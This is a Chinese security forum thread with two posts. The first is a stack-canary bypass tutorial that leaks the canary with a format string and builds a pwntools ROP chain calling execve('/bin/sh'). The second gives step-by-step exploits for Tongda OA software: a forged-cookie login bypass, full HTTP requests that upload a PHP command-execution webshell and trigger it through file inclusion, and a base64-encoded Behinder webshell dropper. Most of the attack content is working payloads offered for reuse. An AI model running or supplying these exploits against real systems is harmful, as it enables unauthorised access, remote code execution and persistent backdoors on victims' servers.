  17. int main()
  18. {
  19.         func();
  20.         return 0;
  21. }
复制代码

我们是这样编译的,是没有加堆栈保护的,之后再利用ropgadgets构造指令流,就可以成功去执行execve(“/bin/sh”,null,null);。

  1. gcc -no-pie -fno-stack-protector -static -m32 -o 7.exe 7.c
复制代码

如果加上堆栈保护我们该怎么过呢?像下面这样编译:

  1. gcc -no-pie -fstack-protector -static -m32 -o 7.exe 7.c
复制代码

显然我们就不能像原来一样构造指令流了,因为加入了堆栈保护。那我们该怎么办呢?我们可以利用格式化输出,将canary打印出来,然后再进行指令的组装。

0×02 找地址

调试我们的程序,找到canary的地址,地址在:0xffffcfac

继续调试,直到printf,我们看看现在canary据栈顶的位置:0060,除以4等于15,说明传给第一个read函数的值为:%15$08x,就可以将canary打印出来了

重新调试,找到read函数把读进来的数据存放的地址:0xffffcf8c

将%15$08x给read函数,发现可以将canary打印出来

接下来就是利用好第二个read函数来构造rop链了

0×03 构造rop链linux上系统调用原理:
  1. eax 系统调用号

  2. ebx 第一个参数

  3. ecx 第二个参数

  4. edx 第三个参数

  5. esi 第四个参数

  6. edi 第五个参数

  7. int 0×80
复制代码
所以eax就存放execve函数的系统调用号11,ebx存放第一个参数/bin/sh,ecx存放第二个参数null,就是0,edx存放第三个参数,也是0
  1. ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"
复制代码
地址用:0x080b8546

ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"地址为:0x0806f210

ROPgadget --binary ./7.exe --string "/bin/sh"
地址用:0x080bbd80

ROPgadget --binary ./7.exe --only "int"|grep "0x80"
地址为:0x0806ce37

0×04 写出poc
  1. from pwn import *
  2. context(arch="i386",os="linux")
  3. p=process('./7.exe')
  4. p.sendline("%15$08x")
  5. canary=p.recv()[:8]
  6. print(canary)
  7. canary=canary.decode("hex")[::-1]       
  8. coffset=4*8                                                       
  9. roffset=3*4                                       
  10. add_eax=p32(0x080b8546)
  11. value_eax=p32(0xb)
  12. add_edx_ecx_ebx=p32(0x0806f210)
  13. value_ebx=p32(0x080bbd80)
  14. value_ecx=p32(0)
  15. value_edx=p32(0)
  16. add_int=p32(0x0806ce37)
  17. payload=coffset*'a'+canary+roffset*'a'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
  18. p.sendline(payload)
  19. p.interactive()
复制代码

从from pwn import *到canary=canary.decode(“hex”)[::-1]都是为了找出canary,因为加了堆栈保护,我们不能直接把数据打入到堆栈中,所以要先找出canary,然后构造payload,我们要把canary加进去,过堆栈保护,再在后面加上我们的rop链。

执行成功

0×05 总结

开启了堆栈保护,加入了cookie,一旦我们破坏了堆栈,会引起系统保护,出现异常。但是我们还是需要构造我们的指令流,我们可以利用格式化输出,将canary打印出来,接下来我们可以利用读写函数,构造一个指令流,我们先去读,看一下堆栈的canary在哪里,然后我们canary搞出来,把canary再回填进去,进行组装,这样就即可以过堆栈保护,也可以构造我们的指令流了。





回复

使用道具 举报

7

主题

23

帖子

111

积分

注册会员

Rank: 2

积分
111
 楼主| 发表于 2020-5-14 08:08:37 | 显示全部楼层
本帖最后由 DL_one 于 2020-5-14 08:19 编辑

通达OA系统漏洞

通达OA前台任意用户伪造登录漏洞0x01 概述
该漏洞类型为任意用户伪造,未经授权的远程攻击者可以通过精心构造的请求包进行任意用户伪造登录。
0x02 影响版本
通达OA < 11.5.200417 版本
0x03 复现
1、访问通达登录口
2、POC生成cookie
工具在E:\ctf\系统利用\工具\OA\TongDaOA-Fake-User下载链接
生成cookie命令:
python poc.py -v 11-url target_url
注:如果python命令没反应,使用conda命令先激活(activate base)

3、替换cookie
通过cookie修改插件,替换cookie之后,访问登录后得页面就可以绕过登录了,步骤如下:
先访问:
然后用chrome浏览器,右击页面,检查,找到Application,在找到cookies,将PHPSESSID修改成我们使用poc生成的cookie,再次访问。
成功登录进去


通达OA任意文件上传+文件包含GetShell0x01 概述
通过绕过身份认证, 攻击者可上传任意文件, 配合文件包含即可出发远程恶意代码执行。
0x02 影响版本
       通达OA V11版 <= 11.3 20200103
  通达OA 2017版 <= 10.19 20190522
  通达OA 2016版 <= 9.13 20170710
  通达OA 2015版 <= 8.15 20160722
  通达OA 2013增强版 <= 7.25 20141211
  通达OA 2013版 <= 6.20 20141017
0x03 复现
·      文件上传路径:/ispirit/im/upload.php
·      文件包含路径:/mac/gateway.php
3.1 文件上传
抓取数据包使用Burp改成POST,再改成 from-data 就好了
  1. Request:(只需将HOST和Referer改成自己的就行了)
  2. POST /ispirit/im/upload.php HTTP/1.1
  3. Host: 192.168.95.129
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
  7. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
  8. Referer: http://192.168.95.129/logincheck.php
  9. Accept-Encoding: gzip, deflate
  10. Accept-Language: zh-CN,zh;q=0.9
  11. Cookie: PHPSESSID=gb4tpaqrsagb3fcmpu9sco48m5; KEY_RANDOMDATA=13319
  12. Connection: close
  13. Content-Type: multipart/form-data; boundary=--------1673801018
  14. Content-Length: 558

  15. ----------1673801018
  16. Content-Disposition: form-data; name="UPLOAD_MODE"

  17. 2
  18. ----------1673801018
  19. Content-Disposition: form-data; name="P"

  20. 123
  21. ----------1673801018
  22. Content-Disposition: form-data; name="DEST_UID"

  23. 2
  24. ----------1673801018
  25. Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
  26. Content-Type: image/jpeg

  27. <?php
  28. $command=$_POST['cmd'];
  29. $wsh = new COM('WScript.shell');
  30. $exec = $wsh->exec("cmd /c ".$command);
  31. $stdout = $exec->StdOut();
  32. $stroutput = $stdout->ReadAll();
  33. echo $stroutput;
  34. ?>
  35. ----------1673801018—
复制代码
Response


文件在im下的/2005/266049976.jpg

3.2 文件包含
注意对应成功上传的文件名
Request:(只需将Host、Referer和json的文件目录改一下就行)
  1. POST /ispirit/interface/gateway.php HTTP/1.1
  2. Host: 192.168.95.129
  3. Cache-Control: max-age=0
  4. Upgrade-Insecure-Requests: 1
  5. User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
  7. Referer: http://192.168.95.129/logincheck.php
  8. Accept-Encoding: gzip, deflate
  9. Accept-Language: zh-CN,zh;q=0.9
  10. Cookie: PHPSESSID=gb4tpaqrsagb3fcmpu9sco48m5; KEY_RANDOMDATA=13319
  11. Connection: close
  12. Content-Type: application/x-www-form-urlencoded
  13. Content-Length: 71

  14. json={"url":"/general/../../attach/im/2005/266049976.jpg"}&cmd=net user
复制代码

3.3 getshell
  1. <?php
  2. $fp = fopen('readme.php', 'w');
  3. $a = base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3Bhc3MnXSkpCnsKICAgICRrZXk9c3Vic3RyKG1kNSh1bmlxaWQocmFuZCgpKSksMTYpOwogICAgJF9TRVNTSU9OWydrJ109JGtleTsKICAgIHByaW50ICRrZXk7Cn0KZWxzZQp7CiAgICAka2V5PSRfU0VTU0lPTlsnayddOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQoJQG5ldyBDKCRwYXJhbXMpOwp9Cj8+");
  4. fwrite($fp, $a);
  5. fclose($fp);
  6. ?>
复制代码
通过上传上方webshell,进行文件包含,会在文件包含的根目录下生成一个 readme.php 文件。冰蝎的shell

文件包含(不需要指令了)


通达OA 利用nginx日志来 getshell0x01 复现
抓取数据包来发送一句话木马代码,不能直接在浏览器访问,因为那样符号会被浏览器编码的(随便访问那个页面)


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 00:29 , Processed in 0.028630 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表